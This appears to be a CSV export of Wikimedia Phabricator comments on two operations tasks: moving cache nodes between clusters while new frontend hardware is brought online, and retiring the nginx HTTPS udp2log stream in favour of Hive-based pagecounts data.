+440723,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+~~1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~
+
+~~2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~
+
+~~3) cp303[23] + cp304[23] -> add to upload cluster~~
+
+4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  ~~1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
+  ~~2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
+  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1) cp3036 -> cp3003 -> amssq5[12]
+   2) cp3037 -> cp3004 -> amssq5[34]
+   3) cp3038 -> cp3005 -> amssq5[56]
+   4) cp3039 -> cp3006 -> amssq5[78]
+   5) cp3046 -> cp3007 -> amssq59,60
+   6) cp3047 -> cp3008 -> amssq6[12]
+   7) cp3048 -> cp3009
+   8) cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538077,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440123,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+~~1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~
+
+~~2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~
+
+~~3) cp303[23] + cp304[23] -> add to upload cluster~~
+
+4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1) cp3036 -> cp3003 -> amssq5[12]
+   2) cp3037 -> cp3004 -> amssq5[34]
+   3) cp3038 -> cp3005 -> amssq5[56]
+   4) cp3039 -> cp3006 -> amssq5[78]
+   5) cp3046 -> cp3007 -> amssq59,60
+   6) cp3047 -> cp3008 -> amssq6[12]
+   7) cp3048 -> cp3009
+   8) cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428469742,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+439669,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3) cp303[23] + cp304[23] -> add to upload cluster
+
+4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3) cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4) cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1) cp3036 -> cp3003 -> amssq5[12]
+   2) cp3037 -> cp3004 -> amssq5[34]
+   3) cp3038 -> cp3005 -> amssq5[56]
+   4) cp3039 -> cp3006 -> amssq5[78]
+   5) cp3046 -> cp3007 -> amssq59,60
+   6) cp3047 -> cp3008 -> amssq6[12]
+   7) cp3048 -> cp3009
+   8) cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428419625,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+437466,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1) Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2) cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3) cp303[23] + cp304[23] -> add to upload cluster
+
+4) 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1) cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2) cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3) cp3044 -> cp3017 -> cp3013 -> amssq4[78]
+  4) cp3045 -> cp3018 -> cp3014 -> amssq49,50
+  
+5) 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1) cp3036 -> cp3003 -> amssq5[12]
+   2) cp3037 -> cp3004 -> amssq5[34]
+   3) cp3038 -> cp3005 -> amssq5[56]
+   4) cp3039 -> cp3006 -> amssq5[78]
+   5) cp3046 -> cp3007 -> amssq59,60
+   6) cp3047 -> cp3008 -> amssq6[12]
+   7) cp3048 -> cp3009
+   8) cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428001307,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1
+436962,Expand HTTP frontend clusters with new hardware,"^ Removed blocker on the 10G card upgrades.  With the current plan for how to accomplish the role migrations, this is only a ""nice-to-have"" at this point; it doesn't actually block bringing all HTTPS capacity online.",,,1427934029,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+436961,Expand HTTP frontend clusters with new hardware,"^ Removed blocker on the 10G card upgrades.  With the current plan for how to accomplish the role migrations, this is only a ""nice-to-have"" at this point; it doesn't actually blocking bringing all HTTPS capacity online.",,,1427934015,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+436917,Expand HTTP frontend clusters with new hardware,"Now that asw-d has more capacity, the new eqiad-upload caches, cp107[1234], were repooled today and everything looks about the same as before.",,,1427929297,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-14,True,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0
+431251,Expand HTTP frontend clusters with new hardware,"FYI, we've regressed on the minor capacity bump for eqiad-upload.  We had to depool the new machines from service over row network issues.  Now blocking on T92914 before we can try repooling them again.",,,1427145663,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+426304,Expand HTTP frontend clusters with new hardware,"note: we could potentially reduce some of the interdependent moves above by first adding the new ethernet to cp3011-cp3014, and swapping the roles of cp3015-3018 (upload -> mobile) with cp3011-cp3014 (mobile -> upload).  Then mobile is in its final config and the remaining moves/dependencies are all between text + upload.",,,1426291986,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+426118,Expand HTTP frontend clusters with new hardware,"note: we could potentially reduce some of the interdependent moves above by first adding the new ethernet to cp3015-cp3018, and swapping the roles of cp3015-3018 (upload -> mobile) with cp3011-cp3014 (mobile -> upload).  Then mobile is in its final config and the remaining moves/dependencies are all between text + upload.",,,1426270747,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+426126,Expand HTTP frontend clusters with new hardware,"(apparently disks already arrived in esams!)
+
+esams cluster re-arrangement details:
+
+Text cluster:
+------------------
+loses decommed amssq* (all of current capacity)
+gains cp3003-cp3010 (8/12 of current upload cluster)
+gains cp3011-cp3014 (all of current mobile cluster, which need new ethernet cards, and 3011 is currently dead with a hardware fault)
+gains 4/20 of the new systems (any of cp3030 - cp3049)
+Final net config: 16 hosts: 12x old cp30xx (with larger disks), 4x new cp30xx
+
+Mobile cluster:
+------------------
+loses cp3011-cp3014 (all of current capacity) to the new text cluster
+gains cp3015-cp3018 (4/12 of current upload cluster)
+Final net config: 4 hosts: all old cp30xx (with smaller disks)
+
+Upload cluster:
+------------------
+loses all 12x current capacity to text/mobile (cp3003-cp3010,cp3015-cp3018)
+gains 16/20 of the new systems (any of cp3030 - cp3049)
+Final net config: 16 hosts, all new cp30xx
+
+Bits cluster:
+---------------
+Unchanged",,,1426270996,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0
+426114,Expand HTTP frontend clusters with new hardware,"(apparently disks already arrived in esams!)
+
+esams cluster re-arrangement details:
+
+Text cluster:
+------------------
+loses decommed amssq* (all of current capacity)
+gains cp3003-cp3010 (8/12 of current upload cluster)
+gains cp3011-cp3014 (all of current mobile cluster, which need new ethernet cards, and 3011 is currently dead with a hardware fault)
+gains 4/20 of the new systems (any of cp3030 - cp3049)
+
+Mobile cluster:
+------------------
+loses cp3011-cp3014 (all of current capacity) to the new text cluster
+gains cp3015-cp3018 (4/12 of current upload cluster)
+
+Upload cluster:
+------------------
+loses all 12x current capacity to text/mobile (cp3003-cp3010,cp3015-cp3018)
+gains 16/20 of the new systems (any of cp3030 - cp3049)
+
+Bits cluster:
+---------------
+Unchanged",,,1426270492,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+425828,Expand HTTP frontend clusters with new hardware,"The new eqiad hardware is fully up and pooled for prod traffic.
+Still waiting on esams hardware to arrive circa Mar 17.
+esams deployment will be a little more complex, as mark needs to move some things around between racks as we decom amssq* and install the 24 new boxes (and we need to migrate the existing cp30xx to different clusters than they're currently in).  Depending on the final physical layout, we'll have to decide which servers to install/migrate in what order to keep capacity up throughout the process.  It's possible we may have to depool esams traffic to get through some portion of this, but I hope not.",,,1426228726,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+422387,Expand HTTP frontend clusters with new hardware,"eqiad hardware expected to be racked, cabled, and available for software install circa Wed/Thurs of next week (11th or 12th).",,,1425673384,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+419179,Expand HTTP frontend clusters with new hardware,"Update: Orders have been placed for all of the new servers in esams + eqiad.  eqiad hardware has already arrived, and esams is due by Mar 17th (for the disks, Mar 11th for the servers) according to the vendor.",,,1425310571,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-18,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+86656,Deprecate HTTPS udp2log stream?,"Our nginx TLS terminators are currently patched with a custom-written patch that adds udp2log logging support.
+
+This is unmaintained, buggy (e.g. with regards to sequence number generation) and needs porting to each newer nginx version (and requires us to ship custom packages).
+
+I remember hacking on it and fixing some bugs my second week at the foundation and people telling me to let it go as it was going away ""soon"".  Almost three years ago have passed and we still have it, for reasons that still aren't clear to many people including myself.
+
+We're moving to a much newer nginx version (1.6.x looks like) very soon, so it'd be nice to either deprecate the stream entirely, or falling to do that, properly architecture it and assign it a maintainer. This conversation is a blocker for a couple of quarterly goals for #ops so we should figure this out very soon.",High,80.0,1421158729,1422554389.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_description,resolved,True,c3,1,True,True,True,-25,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+404405,Deprecate HTTPS udp2log stream?,\o/,,,1422554389,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+404393,Deprecate HTTPS udp2log stream?,nginx udp2log is off and nginx configs have been reloaded: https://gerrit.wikimedia.org/r/#/c/186257/,,,1422553391,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+404378,Deprecate HTTPS udp2log stream?,"Looking GOOD!  Brandon, you may turn of nginx udp2log! :) ",,,1422551353,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+404361,Deprecate HTTPS udp2log stream?,">>! In T86656#999773, @Ottomata wrote:
+> The data is still being backfilled in hadoop.
+
+Done.
+
+",,,1422545744,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+404140,Deprecate HTTPS udp2log stream?,"Update:  the Hive generated pagecounts-raw data is now being copied every hour from HDFS to dumps.wikimedia.org.
+
+The data is still being backfilled in hadoop.  Once all backfill jobs are done, I will decomission webstatscollector, and we should be able to turn off nginx udp2logs.  I'll check back on the jobs tomorrow and update.",,,1422486026,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+404115,Deprecate HTTPS udp2log stream?,"Change 187168 merged by Ottomata:
+Copy pagecounts-raw dataset from stat1002 hdfs-archive (data generated by Hive) to dumps.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/187168]]",,,1422483210,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+404033,Deprecate HTTPS udp2log stream?,"Change 187168 had a related patch set uploaded (by Ottomata):
+Copy pagecounts-raw dataset from stat1002 hdfs-archive (data generated by Hive) to dumps.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/187168]]
+
+#patch-for-review",,,1422476083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+403952,Deprecate HTTPS udp2log stream?,"So, in udp2log, the https and the duplicated proxied http request both exist.  That means that a any given https request will have 2 entries in the logs.  The webstatscollector code chooses to use the nginx log line, and throws away the varnish log line.  By removing nginx from the webrequest udp2log stream, webstatscollector will no longer count any https requests.
+
+Since I'm going on vacation next week, Christian and I are making deprecating webstatscollector priority number one this week.",,,1422470495,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+403944,Deprecate HTTPS udp2log stream?,"Are they? So are these just counting the X% of requests that come via HTTPS, where X is < 5 probably (and also a biased sample, as this is predominantly editors)?",,,1422470120,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+403942,Deprecate HTTPS udp2log stream?,"FYI, the pagecounts-raw files found at dumps.wikimedia.org/other/pagecounts-raw/ use the nginx logs.  We and are now recreating this data using Hive via varnishkafka.  Christian and I have a role out plan to get the newly generated files to dumps.wikimedia.org.  This will require a small announcement to the analytics public list, as well as some hacking on some scripts that are currently used to copy these files from webstatscollector to dataset1001.",,,1422469966,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+403076,Deprecate HTTPS udp2log stream?,Yep; Erik's answer is enough. My comment was merely an aside.,,,1422217152,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
